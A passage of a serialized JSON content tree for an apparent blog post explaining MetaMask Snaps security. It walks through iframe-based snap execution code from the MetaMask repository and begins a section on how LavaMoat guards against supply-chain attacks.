ePlaceholder":17},[36889],{"type":31,"value":496},{"type":25,"tag":201,"props":36891,"children":36892},{"class":203,"line":522},[36893],{"type":25,"tag":201,"props":36894,"children":36895},{"style":4497},[36896],{"type":31,"value":36897},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":25,"tag":201,"props":36899,"children":36900},{"class":203,"line":531},[36901,36905,36909,36913,36917,36921],{"type":25,"tag":201,"props":36902,"children":36903},{"style":246},[36904],{"type":31,"value":36751},{"type":25,"tag":201,"props":36906,"children":36907},{"style":220},[36908],{"type":31,"value":80},{"type":25,"tag":201,"props":36910,"children":36911},{"style":246},[36912],{"type":31,"value":36760},{"type":25,"tag":201,"props":36914,"children":36915},{"style":220},[36916],{"type":31,"value":80},{"type":25,"tag":201,"props":36918,"children":36919},{"style":246},[36920],{"type":31,"value":36769},{"type":25,"tag":201,"props":36922,"children":36923},{"style":261},[36924],{"type":31,"value":36925}," =\n",{"type":25,"tag":201,"props":36927,"children":36928},{"class":203,"line":550},[36929,36934],{"type":25,"tag":201,"props":36930,"children":36931},{"style":267},[36932],{"type":31,"value":36933},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":25,"tag":201,"props":36935,"children":36936},{"style":220},[36937],{"type":31,"value":461},{"type":25,"tag":201,"props":36939,"children":36940},{"class":203,"line":563},[36941],{"type":25,"tag":201,"props":36942,"children":36943},{"style":4497},[36944],{"type":31,"value":36705},{"type":25,"tag":34,"props":36946,"children":36947},{},[36948,36950,36956,36958,36964,36966,36971],{"type":31,"value":36949},"This code is defining the ",{"type":25,"tag":115,"props":36951,"children":36953},{"className":36952},[],[36954],{"type":31,"value":36955},"snapExecutionServiceArgs",{"type":31,"value":36957}," object, which contains information required for the ",{"type":25,"tag":115,"props":36959,"children":36961},{"className":36960},[],[36962],{"type":31,"value":36963},"IframeExecutionService",{"type":31,"value":36965}," to execute snaps. The ",{"type":25,"tag":115,"props":36967,"children":36969},{"className":36968},[],[36970],{"type":31,"value":36769},{"type":31,"value":36972}," points to the location where the execution environment resides.",{"type":25,"tag":20392,"props":36974,"children":36976},{"id":36975},"executing-snaps-iframeexecutionservice-in-action",[36977],{"type":31,"value":36978},"Executing Snaps: IframeExecutionService in Action",{"type":25,"tag":34,"props":36980,"children":36981},{},[36982,36984,36989,36991,36997],{"type":31,"value":36983},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":25,"tag":115,"props":36985,"children":36987},{"className":36986},[],[36988],{"type":31,"value":36963},{"type":31,"value":36990}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":25,"tag":71,"props":36992,"children":36995},{"href":36993,"rel":36994},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[75],[36996],{"type":31,"value":115},{"type":31,"value":5997},{"type":25,"tag":191,"props":36999,"children":37003},{"className":37000,"code":37001,"language":37002,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[37004],{"type":25,"tag":115,"props":37005,"children":37006},{"__ignoreMap":7},[37007,37015,37044,37074,37127,37164,37171,37178,37186,37193,37200,37208,37243,37251,37307,37369,37377],{"type":25,"tag":201,"props":37008,"children":37009},{"class":203,"line":204},[37010],{"type":25,"tag":201,"props":37011,"children":37012},{"style":4497},[37013],{"type":31,"value":37014},"// Register message handlers for snap interactions\n",{"type":25,"tag":201,"props":37016,"children":37017},{"class":203,"line":226},[37018,37022,37026,37031,37035,37040],{"type":25,"tag":201,"props":37019,"children":37020},{"style":208},[37021],{"type":31,"value":19190},{"type":25,"tag":201,"props":37023,"children":37024},{"style":220},[37025],{"type":31,"value":80},{"type":25,"tag":201,"props":37027,"children":37028},{"style":246},[37029],{"type":31,"value":37030},"#messenger",{"type":25,"tag":201,"props":37032,"children":37033},{"style":220},[37034],{"type":31,"value":80},{"type":25,"tag":201,"props":37036,"children":37037},{"style":214},[37038],{"type":31,"value":37039},"registerActionHandler",{"type":25,"tag":201,"props":37041,"children":37042},{"style":220},[37043],{"type":31,"value":4970},{"type":25,"tag":201,"props":37045,"children":37046},{"class":203,"line":278},[37047,37052,37056,37061,37065,37070],{"type":25,"tag":201,"props":37048,"children":37049},{"style":267},[37050],{"type":31,"value":37051},"  `",{"type":25,"tag":201,"props":37053,"children":37054},{"style":208},[37055],{"type":31,"value":3045},{"type":25,"tag":201,"props":37057,"children":37058},{"style":246},[37059],{"type":31,"value":37060},"controllerName",{"type":25,"tag":201,"props":37062,"children":37063},{"style":208},[37064],{"type":31,"value":3078},{"type":25,"tag":201,"props":37066,"children":37067},{"style":267},[37068],{"type":31,"value":37069},":handleRpcRequest`",{"type":25,"tag":201,"props":37071,"children":37072},{"style":220},[37073],{"type":31,"value":547},{"type":25,"tag":201,"props":37075,"children":37076},{"class":203,"line":311},[37077,37082,37086,37091,37095,37100,37104,37109,37113,37118,37122],{"type":25,"tag":201,"props":37078,"children":37079},{"style":208},[37080],{"type":31,"value":37081},"  async",{"type":25,"tag":201,"props":37083,"children":37084},{"style":220},[37085],{"type":31,"value":238},{"type":25,"tag":201,"props":37087,"children":37088},{"style":246},[37089],{"type":31,"value":37090},"snapId",{"type":25,"tag":201,"props":37092,"children":37093},{"style":261},[37094],{"type":31,"value":5997},{"type":25,"tag":201,"props":37096,"children":37097},{"style":4925},[37098],{"type":31,"value":37099}," string",{"type":25,"tag":201,"props":37101,"children":37102},{"style":220},[37103],{"type":31,"value":919},{"type":25,"tag":201,"props":37105,"children":37106},{"style":246},[37107],{"type":31,"value":37108},"options",{"type":25,"tag":201,"props":37110,"children":37111},{"style":261},[37112],{"type":31,"value":5997},{"type":25,"tag":201,"props":37114,"children":37115},{"style":4925},[37116],{"type":31,"value":37117}," SnapRpcHookArgs",{"type":25,"tag":201,"props":37119,"children":37120},{"style":220},[37121],{"type":31,"value":385},{"type":25,"tag":201,"props":37123,"children":37124},{"style":208},[37125],{"type":31,"value":37126},"=>\n",{"type":25,"tag":201,"props":37128,"children":37129},{"class":203,"line":330},[37130,37135,37139,37144,37148,37152,37156,37160],{"type":25,"tag":201,"props":37131,"children":37132},{"style":208},[37133],{"type":31,"value":37134},"    this",{"type":25,"tag":201,"props":37136,"children":37137},{"style":220},[37138],{"type":31,"value":80},{"type":25,"tag":201,"props":37140,"children":37141},{"style":214},[37142],{"type":31,"value":37143},"handleRpcRequest",{"type":25,"tag":201,"props":37145,"children":37146},{"style":220},[37147],{"type":31,"value":298},{"type":25,"tag":201,"props":37149,"children":37150},{"style":246},[37151],{"type":31,"value":37090},{"type":25,"tag":201,"props":37153,"children":37154},{"style":220},[37155],{"type":31,"value":919},{"type":25,"tag":201,"props":37157,"children":37158},{"style":246},[37159],{"type":31,"value":37108},{"type":25,"tag":201,"props":37161,"children":37162},{"style":220},[37163],{"type":31,"value":8245},{"type":25,"tag":201,"props":37165,"children":37166},{"class":203,"line":397},[37167],{"type":25,"tag":201,"props":37168,"children":37169},{"style":220},[37170],{"type":31,"value":308},{"type":25,"tag":201,"props":37172,"children":37173},{"class":203,"line":437},[37174],{"type":25,"tag":201,"props":37175,"children":37176},{"emptyLinePlaceholder":17},[37177],{"type":31,"value":496},{"type":25,"tag":201,"props":37179,"children":37180},{"class":203,"line":464},[37181],{"type":25,"tag":201,"props":37182,"children":37183},{"style":4497},[37184],{"type":31,"value":37185},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":25,"tag":201,"props":37187,"children":37188},{"class":203,"line":490},[37189],{"type":25,"tag":201,"props":37190,"children":37191},{"style":4497},[37192],{"type":31,"value":36705},{"type":25,"tag":201,"props":37194,"children":37195},{"class":203,"line":499},[37196],{"type":25,"tag":201,"props":37197,"children":37198},{"emptyLinePlaceholder":17},[37199],{"type":31,"value":496},{"type":25,"tag":201,"props":37201,"children":37202},{"class":203,"line":522},[37203],{"type":25,"tag":201,"props":37204,"children":37205},{"style":4497},[37206],{"type":31,"value":37207},"// Execute a snap\n",{"type":25,"tag":201,"props":37209,"children":37210},{"class":203,"line":531},[37211,37216,37221,37225,37230,37234,37239],{"type":25,"tag":201,"props":37212,"children":37213},{"style":246},[37214],{"type":31,"value":37215},"async",{"type":25,"tag":201,"props":37217,"children":37218},{"style":214},[37219],{"type":31,"value":37220}," executeSnap",{"type":25,"tag":201,"props":37222,"children":37223},{"style":220},[37224],{"type":31,"value":298},{"type":25,"tag":201,"props":37226,"children":37227},{"style":246},[37228],{"type":31,"value":37229},"snapData",{"type":25,"tag":201,"props":37231,"children":37232},{"style":220},[37233],{"type":31,"value":2957},{"type":25,"tag":201,"props":37235,"children":37236},{"style":246},[37237],{"type":31,"value":37238},"SnapExecutionData",{"type":25,"tag":201,"props":37240,"children":37241},{"style":220},[37242],{"type":31,"value":275},{"type":25,"tag":201,"props":37244,"children":37245},{"class":203,"line":550},[37246],{"type":25,"tag":201,"props":37247,"children":37248},{"style":4497},[37249],{"type":31,"value":37250},"  // Initialize job, streams, and environment\n",{"type":25,"tag":201,"props":37252,"children":37253},{"class":203,"line":563},[37254,37259,37263,37268,37273,37277,37282,37286,37290,37295,37299,37303],{"type":25,"tag":201,"props":37255,"children":37256},{"style":208},[37257],{"type":31,"value":37258},"  const",{"type":25,"tag":201,"props":37260,"children":37261},{"style":220},[37262],{"type":31,"value":11090},{"type":25,"tag":201,"props":37264,"children":37265},{"style":246},[37266],{"type":31,"value":37267},"jobId",{"type":25,"tag":201,"props":37269,"children":37270},{"style":220},[37271],{"type":31,"value":37272}," } ",{"type":25,"tag":201,"props":37274,"children":37275},{"style":261},[37276],{"type":31,"value":1383},{"type":25,"tag":201,"props":37278,"children":37279},{"style":230},[37280],{"type":31,"value":37281}," await",{"type":25,"tag":201,"props":37283,"children":37284},{"style":208},[37285],{"type":31,"value":36786},{"type":25,"tag":201,"props":37287,"children":37288},{"style":220},[37289],{"type":31,"value":80},{"type":25,"tag":201,"props":37291,"children":37292},{"style":214},[37293],{"type":31,"value":37294},"initJob",{"type":25,"tag":201,"props":37296,"children":37297},{"style":220},[37298],{"type":31,"value":298},{"type":25,"tag":201,"props":37300,"children":37301},{"style":246},[37302],{"type":31,"value":37229},{"type":25,"tag":201,"props":37304,"children":37305},{"style":220},[37306],{"type":31,"value":308},{"type":25,"tag":201,"props":37308,"children":37309},{"class":203,"line":572},[37310,37314,37318,37323,37327,37332,37336,37340,37344,37348,37352,37357,37361,37365],{"type":25,"tag":201,"props":37311,"children":37312},{"style":208},[37313],{"type":31,"value":37258},{"type":25,"tag":201,"props":37315,"children":37316},{"style":220},[37317],{"type":31,"value":11090},{"type":25,"tag":201,"props":37319,"children":37320},{"style":246},[37321],{"type":31,"value":37322},"worker",{"type":25,"tag":201,"props":37324,"children":37325},{"style":220},[37326],{"type":31,"value":919},{"type":25,"tag":201,"props":37328,"children":37329},{"style":246},[37330],{"type":31,"value":37331},"stream",{"type":25,"tag":201,"props":37333,"children":37334},{"style":220},[37335],{"type":31,"value":37272},{"type":25,"tag":201,"props":37337,"children":37338},{"style":261},[37339],{"type":31,"value":1383},{"type":25,"tag":201,"props":37341,"children":37342},{"style":230},[37343],{"type":31,"value":37281},{"type":25,"tag":201,"props":37345,"children":37346},{"style":208},[37347],{"type":31,"value":36786},{"type":25,"tag":201,"props":37349,"children":37350},{"style":220},[37351],{"type":31,"value":80},{"type":25,"tag":201,"props":37353,"children":37354},{"style":214},[37355],{"type":31,"value":37356},"initEnvStream",{"type":25,"tag":201,"props":37358,"children":37359},{"style":220},[37360],{"type":31,"value":298},{"type":25,"tag":201,"props":37362,"children":37363},{"style":246},[37364],{"type":31,"value":37267},{"type":25,"tag":201,"props":37366,"children":37367},{"style":220},[37368],{"type":31,"value":308},{"type":25,"tag":201,"props":37370,"children":37371},{"class":203,"line":590},[37372],{"type":25,"tag":201,"props":37373,"children":37374},{"style":4497},[37375],{"type":31,"value":37376},"  // ...\n",{"type":25,"tag":201,"props":37378,"children":37379},{"class":203,"line":608},[37380],{"type":25,"tag":201,"props":37381,"children":37382},{"style":220},[37383],{"type":31,"value":1187},{"type":25,"tag":34,"props":37385,"children":37386},{},[37387,37388,37393,37395,37401],{"type":31,"value":18109},{"type":25,"tag":115,"props":37389,"children":37391},{"className":37390},[],[37392],{"type":31,"value":36963},{"type":31,"value":37394}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":25,"tag":115,"props":37396,"children":37398},{"className":37397},[],[37399],{"type":31,"value":37400},"${controllerName}:executeSnap",{"type":31,"value":37402}," handler triggers the snap execution process.",{"type":25,"tag":20392,"props":37404,"children":37406},{"id":37405},"step-by-step-execution-from-initialization-to-iframe-creation",[37407,37409],{"type":31,"value":37408},"Step-by-Step Execution: From Initialization to iFrame ",{"type":25,"tag":71,"props":37410,"children":37413},{"href":37411,"rel":37412},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[75],[37414],{"type":31,"value":37415},"creation",{"type":25,"tag":191,"props":37417,"children":37419},{"className":37000,"code":37418,"language":37002,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[37420],{"type":25,"tag":115,"props":37421,"children":37422},{"__ignoreMap":7},[37423,37472,37493,37514,37522,37586,37593,37621,37638,37655,37672,37689,37696,37703,37727],{"type":25,"tag":201,"props":37424,"children":37425},{"class":203,"line":204},[37426,37431,37436,37441,37445,37449,37453,37457,37462,37467],{"type":25,"tag":201,"props":37427,"children":37428},{"style":246},[37429],{"type":31,"value":37430},"protected",{"type":25,"tag":201,"props":37432,"children":37433},{"style":246},[37434],{"type":31,"value":37435}," async",{"type":25,"tag":201,"props":37437,"children":37438},{"style":214},[37439],{"type":31,"value":37440}," initEnvStream",{"type":25,"tag":201,"props":37442,"children":37443},{"style":220},[37444],{"type":31,"value":298},{"type":25,"tag":201,"props":37446,"children":37447},{"style":246},[37448],{"type":31,"value":37267},{"type":25,"tag":201,"props":37450,"children":37451},{"style":220},[37452],{"type":31,"value":2957},{"type":25,"tag":201,"props":37454,"children":37455},{"style":246},[37456],{"type":31,"value":31150},{"type":25,"tag":201,"props":37458,"children":37459},{"style":220},[37460],{"type":31,"value":37461},"): ",{"type":25,"tag":201,"props":37463,"children":37464},{"style":4925},[37465],{"type":31,"value":37466},"Promise",{"type":25,"tag":201,"props":37468,"children":37469},{"style":220},[37470],{"type":31,"value":37471},"\u003C{\n",{"type":25,"tag":201,"props":37473,"children":37474},{"class":203,"line":226},[37475,37480,37484,37489],{"type":25,"tag":201,"props":37476,"children":37477},{"style":246},[37478],{"type":31,"value":37479},"    worker",{"type":25,"tag":201,"props":37481,"children":37482},{"style":261},[37483],{"type":31,"value":5997},{"type":25,"tag":201,"props":37485,"children":37486},{"style":4925},[37487],{"type":31,"value":37488}," Window",{"type":25,"tag":201,"props":37490,"children":37491},{"style":220},[37492],{"type":31,"value":461},{"type":25,"tag":201,"props":37494,"children":37495},{"class":203,"line":278},[37496,37501,37505,37510],{"type":25,"tag":201,"props":37497,"children":37498},{"style":246},[37499],{"type":31,"value":37500},"    stream",{"type":25,"tag":201,"props":37502,"children":37503},{"style":261},[37504],{"type":31,"value":5997},{"type":25,"tag":201,"props":37506,"children":37507},{"style":4925},[37508],{"type":31,"value":37509}," BasePostMessageStream",{"type":25,"tag":201,"props":37511,"children":37512},{"style":220},[37513],{"type":31,"value":461},{"type":25,"tag":201,"props":37515,"children":37516},{"class":203,"line":311},[37517],{"type":25,"tag":201,"props":37518,"children":37519},{"style":220},[37520],{"type":31,"value":37521},"  }> {\n",{"type":25,"tag":201,"props":37523,"children":37524},{"class":203,"line":330},[37525,37530,37535,37539,37543,37548,37552,37556,37560,37565,37569,37574,37578,37582],{"type":25,"tag":201,"props":37526,"children":37527},{"style":220},[37528],{"type":31,"value":37529},"    const ",{"type":25,"tag":201,"props":37531,"children":37532},{"style":246},[37533],{"type":31,"value":37534},"iframeWindow",{"type":25,"tag":201,"props":37536,"children":37537},{"style":261},[37538],{"type":31,"value":413},{"type":25,"tag":201,"props":37540,"children":37541},{"style":230},[37542],{"type":31,"value":37281},{"type":25,"tag":201,"props":37544,"children":37545},{"style":214},[37546],{"type":31,"value":37547}," createWindow",{"type":25,"tag":201,"props":37549,"children":37550},{"style":220},[37551],{"type":31,"value":298},{"type":25,"tag":201,"props":37553,"children":37554},{"style":208},[37555],{"type":31,"value":19190},{"type":25,"tag":201,"props":37557,"children":37558},{"style":220},[37559],{"type":31,"value":80},{"type":25,"tag":201,"props":37561,"children":37562},{"style":246},[37563],{"type":31,"value":37564},"iframeUrl",{"type":25,"tag":201,"props":37566,"children":37567},{"style":220},[37568],{"type":31,"value":80},{"type":25,"tag":201,"props":37570,"children":37571},{"style":214},[37572],{"type":31,"value":37573},"toString",{"type":25,"tag":201,"props":37575,"children":37576},{"style":220},[37577],{"type":31,"value":19873},{"type":25,"tag":201,"props":37579,"children":37580},{"style":246},[37581],{"type":31,"value":37267},{"type":25,"tag":201,"props":37583,"children":37584},{"style":220},[37585],{"type":31,"value":308},{"type":25,"tag":201,"props":37587,"children":37588},{"class":203,"line":397},[37589],{"type":25,"tag":201,"props":37590,"children":37591},{"emptyLinePlaceholder":17},[37592],{"type":31,"value":496},{"type":25,"tag":201,"props":37594,"children":37595},{"class":203,"line":437},[37596,37600,37604,37608,37612,37617],{"type":25,"tag":201,"props":37597,"children":37598},{"style":220},[37599],{"type":31,"value":37529},{"type":25,"tag":201,"props":37601,"children":37602},{"style":246},[37603],{"type":31,"value":37331},{"type":25,"tag":201,"props":37605,"children":37606},{"style":261},[37607],{"type":31,"value":413},{"type":25,"tag":201,"props":37609,"children":37610},{"style":208},[37611],{"type":31,"value":828},{"type":25,"tag":201,"props":37613,"children":37614},{"style":214},[37615],{"type":31,"value":37616}," WindowPostMessageStream",{"type":25,"tag":201,"props":37618,"children":37619},{"style":220},[37620],{"type":31,"value":4238},{"type":25,"tag":201,"props":37622,"children":37623},{"class":203,"line":464},[37624,37629,37634],{"type":25,"tag":201,"props":37625,"children":37626},{"style":246},[37627],{"type":31,"value":37628},"      name:",{"type":25,"tag":201,"props":37630,"children":37631},{"style":267},[37632],{"type":31,"value":37633}," 'parent'",{"type":25,"tag":201,"props":37635,"children":37636},{"style":220},[37637],{"type":31,"value":547},{"type":25,"tag":201,"props":37639,"children":37640},{"class":203,"line":490},[37641,37646,37651],{"type":25,"tag":201,"props":37642,"children":37643},{"style":246},[37644],{"type":31,"value":37645},"      target:",{"type":25,"tag":201,"props":37647,"children":37648},{"style":267},[37649],{"type":31,"value":37650}," 'child'",{"type":25,"tag":201,"props":37652,"children":37653},{"style":220},[37654],{"type":31,"value":547},{"type":25,"tag":201,"props":37656,"children":37657},{"class":203,"line":499},[37658,37663,37668],{"type":25,"tag":201,"props":37659,"children":37660},{"style":246},[37661],{"type":31,"value":37662},"      targetWindow:",{"type":25,"tag":201,"props":37664,"children":37665},{"style":246},[37666],{"type":31,"value":37667}," iframeWindow",{"type":25,"tag":201,"props":37669,"children":37670},{"style":220},[37671],{"type":31,"value":547},{"type":25,"tag":201,"props":37673,"children":37674},{"class":203,"line":522},[37675,37680,37685],{"type":25,"tag":201,"props":37676,"children":37677},{"style":246},[37678],{"type":31,"value":37679},"      targetOrigin:",{"type":25,"tag":201,"props":37681,"children":37682},{"style":267},[37683],{"type":31,"value":37684}," '*'",{"type":25,"tag":201,"props":37686,"children":37687},{"style":220},[37688],{"type":31,"value":547},{"type":25,"tag":201,"props":37690,"children":37691},{"class":203,"line":531},[37692],{"type":25,"tag":201,"props":37693,"children":37694},{"style":220},[37695],{"type":31,"value":1169},{"type":25,"tag":201,"props":37697,"children":37698},{"class":203,"line":550},[37699],{"type":25,"tag":201,"props":37700,"children":37701},{"emptyLinePlaceholder":17},[37702],{"type":31,"value":496},{"type":25,"tag":201,"props":37704,"children":37705},{"class":203,"line":563},[37706,37711,37715,37719,37723],{"type":25,"tag":201,"props":37707,"children":37708},{"style":220},[37709],{"type":31,"value":37710},"    return { worker: ",{"type":25,"tag":201,"props":37712,"children":37713},{"style":246},[37714],{"type":31,"value":37534},{"type":25,"tag":201,"props":37716,"children":37717},{"style":220},[37718],{"type":31,"value":919},{"type":25,"tag":201,"props":37720,"children":37721},{"style":246},[37722],{"type":31,"value":37331},{"type":25,"tag":201,"props":37724,"children":37725},{"style":220},[37726],{"type":31,"value":19797},{"type":25,"tag":201,"props":37728,"children":37729},{"class":203,"line":572},[37730],{"type":25,"tag":201,"props":37731,"children":37732},{"style":220},[37733],{"type":31,"value":1178},{"type":25,"tag":34,"props":37735,"children":37736},{},[37737,37739,37745,37747,37754],{"type":31,"value":37738},"Here the iframe is created via ",{"type":25,"tag":115,"props":37740,"children":37742},{"className":37741},[],[37743],{"type":31,"value":37744},"createWindow",{"type":31,"value":37746},", which is defined in snaps-utils ",{"type":25,"tag":71,"props":37748,"children":37751},{"href":37749,"rel":37750},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[75],[37752],{"type":31,"value":37753},"package",{"type":31,"value":5997},{"type":25,"tag":191,"props":37756,"children":37758},{"className":37000,"code":37757,"language":37002,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[37759],{"type":25,"tag":115,"props":37760,"children":37761},{"__ignoreMap":7},[37762,37805,37843,37880,37887,37907,37945,37952,37989],{"type":25,"tag":201,"props":37763,"children":37764},{"class":203,"line":204},[37765,37769,37774,37778,37783,37787,37792,37796,37801],{"type":25,"tag":201,"props":37766,"children":37767},{"style":208},[37768],{"type":31,"value":4074},{"type":25,"tag":201,"props":37770,"children":37771},{"style":246},[37772],{"type":31,"value":37773}," iframe",{"type":25,"tag":201,"props":37775,"children":37776},{"style":261},[37777],{"type":31,"value":413},{"type":25,"tag":201,"props":37779,"children":37780},{"style":246},[37781],{"type":31,"value":37782}," document",{"type":25,"tag":201,"props":37784,"children":37785},{"style":220},[37786],{"type":31,"value":80},{"type":25,"tag":201,"props":37788,"children":37789},{"style":214},[37790],{"type":31,"value":37791},"createElement",{"type":25,"tag":201,"props":37793,"children":37794},{"style":220},[37795],{"type":31,"value":298},{"type":25,"tag":201,"props":37797,"children":37798},{"style":267},[37799],{"type":31,"value":37800},"'iframe'",{"type":25,"tag":201,"props":37802,"children":37803},{"style":220},[37804],{"type":31,"value":308},{"type":25,"tag":201,"props":37806,"children":37807},{"class":203,"line":226},[37808,37813,37817,37822,37826,37831,37835,37839],{"type":25,"tag":201,"props":37809,"children":37810},{"style":246},[37811],{"type":31,"value":37812},"    iframe",{"type":25,"tag":201,"props":37814,"children":37815},{"style":220},[37816],{"type":31,"value":80},{"type":25,"tag":201,"props":37818,"children":37819},{"style":214},[37820],{"type":31,"value":37821},"setAttribute",{"type":25,"tag":201,"props":37823,"children":37824},{"style":220},[37825],{"type":31,"value":298},{"type":25,"tag":201,"props":37827,"children":37828},{"style":267},[37829],{"type":31,"value":37830},"'id'",{"type":25,"tag":201,"props":37832,"children":37833},{"style":220},[37834],{"type":31,"value":919},{"type":25,"tag":201,"props":37836,"children":37837},{"style":246},[37838],{"type":31,"value":3860},{"type":25,"tag":201,"props":37840,"children":37841},{"style":220},[37842],{"type":31,"value":308},{"type":25,"tag":201,"props":37844,"children":37845},{"class":203,"line":278},[37846,37850,37854,37858,37862,37867,37871,37876],{"type":25,"tag":201,"props":37847,"children":37848},{"style":246},[37849],{"type":31,"value":37812},{"type":25,"tag":201,"props":37851,"children":37852},{"style":220},[37853],{"type":31,"value":80},{"type":25,"tag":201,"props":37855,"children":37856},{"style":214},[37857],{"type":31,"value":37821},{"type":25,"tag":201,"props":37859,"children":37860},{"style":220},[37861],{"type":31,"value":298},{"type":25,"tag":201,"props":37863,"children":37864},{"style":267},[37865],{"type":31,"value":37866},"'data-testid'",{"type":25,"tag":201,"props":37868,"children":37869},{"style":220},[37870],{"type":31,"value":919},{"type":25,"tag":201,"props":37872,"children":37873},{"style":267},[37874],{"type":31,"value":37875},"'snaps-iframe'",{"type":25,"tag":201,"props":37877,"children":37878},{"style":220},[37879],{"type":31,"value":308},{"type":25,"tag":201,"props":37881,"children":37882},{"class":203,"line":311},[37883],{"type":25,"tag":201,"props":37884,"children":37885},{"emptyLinePlaceholder":17},[37886],{"type":31,"value":496},{"type":25,"tag":201,"props":37888,"children":37889},{"class":203,"line":330},[37890,37894,37898,37903],{"type":25,"tag":201,"props":37891,"children":37892},{"style":230},[37893],{"type":31,"value":13781},{"type":25,"tag":201,"props":37895,"children":37896},{"style":220},[37897],{"type":31,"value":238},{"type":25,"tag":201,"props":37899,"children":37900},{"style":246},[37901],{"type":31,"value":37902},"sandbox",{"type":25,"tag":201,"props":37904,"children":37905},{"style":220},[37906],{"type":31,"value":275},{"type":25,"tag":201,"props":37908,"children":37909},{"class":203,"line":397},[37910,37915,37919,37923,37927,37932,37936,37941],{"type":25,"tag":201,"props":37911,"children":37912},{"style":246},[37913],{"type":31,"value":37914},"      iframe",{"type":25,"tag":201,"props":37916,"children":37917},{"style":220},[37918],{"type":31,"value":80},{"type":25,"tag":201,"props":37920,"children":37921},{"style":214},[37922],{"type":31,"value":37821},{"type":25,"tag":201,"props":37924,"children":37925},{"style":220},[37926],{"type":31,"value":298},{"type":25,"tag":201,"props":37928,"children":37929},{"style":267},[37930],{"type":31,"value":37931},"'sandbox'",{"type":25,"tag":201,"props":37933,"children":37934},{"style":220},[37935],{"type":31,"value":919},{"type":25,"tag":201,"props":37937,"children":37938},{"style":267},[37939],{"type":31,"value":37940},"'allow-scripts'",{"type":25,"tag":201,"props":37942,"children":37943},{"style":220},[37944],{"type":31,"value":308},{"type":25,"tag":201,"props":37946,"children":37947},{"class":203,"line":437},[37948],{"type":25,"tag":201,"props":37949,"children":37950},{"style":220},[37951],{"type":31,"value":4861},{"type":25,"tag":201,"props":37953,"children":37954},{"class":203,"line":464},[37955,37959,37963,37967,37971,37976,37980,37985],{"type":25,"tag":201,"props":37956,"children":37957},{"style":246},[37958],{"type":31,"value":37812},{"type":25,"tag":201,"props":37960,"children":37961},{"style":220},[37962],{"type":31,"value":80},{"type":25,"tag":201,"props":37964,"children":37965},{"style":214},[37966],{"type":31,"value":37821},{"type":25,"tag":201,"props":37968,"children":37969},{"style":220},[37970],{"type":31,"value":298},{"type":25,"tag":201,"props":37972,"children":37973},{"style":267},[37974],{"type":31,"value":37975},"'src'",{"type":25,"tag":201,"props":37977,"children":37978},{"style":220},[37979],{"type":31,"value":919},{"type":25,"tag":201,"props":37981,"children":37982},{"style":246},[37983],{"type":31,"value":37984},"uri",{"type":25,"tag":201,"props":37986,"children":37987},{"style":220},[37988],{"type":31,"value":308},{"type":25,"tag":201,"props":37990,"children":37991},{"class":203,"line":490},[37992,37996,38000,38004,38008,38013,38017,38022],{"type":25,"tag":201,"props":37993,"children":37994},{"style":246},[37995],{"type":31,"value":3613},{"type":25,"tag":201,"props":37997,"children":37998},{"style":220},[37999],{"type":31,"value":80},{"type":25,"tag":201,"props":38001,"children":38002},{"style":246},[38003],{"type":31,"value":1321},{"type":25,"tag":201,"props":38005,"children":38006},{"style":220},[38007],{"type":31,"value":80},{"type":25,"tag":201,"props":38009,"children":38010},{"style":214},[38011],{"type":31,"value":38012},"appendChild",{"type":25,"tag":201,"props":38014,"children":38015},{"style":220},[38016],{"type":31,"value":298},{"type":25,"tag":201,"props":38018,"children":38019},{"style":246},[38020],{"type":31,"value":38021},"iframe",{"type":25,"tag":201,"props":38023,"children":38024},{"style":220},[38025],{"type":31,"value":308},{"type":25,"tag":34,"props":38027,"children":38028},{},[38029],{"type":31,"value":38030},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":25,"tag":40,"props":38032,"children":38034},{"id":38033},"lavamoat-against-supply-chain-attacks-layer-2",[38035],{"type":31,"value":38036},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":25,"tag":34,"props":38038,"children":38039},{},[38040],{"type":31,"value":38041},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":25,"tag":34,"props":38043,"children":38044},{},[38045,38047,38053],{"type":31,"value":38046},"Malicious dependencies might utilize built-in modules like ",{"type":25,"tag":115,"props":38048,"children":38050},{"className":38049},[],[38051],{"type":31,"value":38052},"fs",{"type":31,"value":38054},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user 